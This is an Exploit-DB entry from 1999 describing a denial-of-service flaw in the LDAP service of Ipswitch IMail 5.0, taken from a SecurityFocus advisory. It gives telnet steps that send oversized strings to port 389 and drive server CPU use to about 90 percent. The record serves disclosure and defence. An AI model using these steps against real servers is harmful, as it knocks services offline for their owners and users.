Ipswitch IMail 5.0 LDAP Buffer Overflow DoS Vulnerability

ID EDB-ID:19378
Type exploitdb
Reporter Marc of eEye
Modified 1999-03-01T00:00:00


Ipswitch IMail 5.0 LDAP Buffer Overflow DoS Vulnerability. Dos exploits for multiple platform

                                            source: http://www.securityfocus.com/bid/503/info

The IMail ldap service has an unchecked buffer, resulting in a classic buffer overflow vulnerability. While it does not crash the service, it drives CPU utilization up rendering the system essentially unusable.

Telnet to target machine, port 389
Send: Y glob1
hit enter twice
Server Returns: 0
Send: Y glob2
hit enter

Where glob1 and glob2 are 2375 characters and Y is Y. The ldap service goes to 90 percent or so and idles there. Therefore using up most system resources.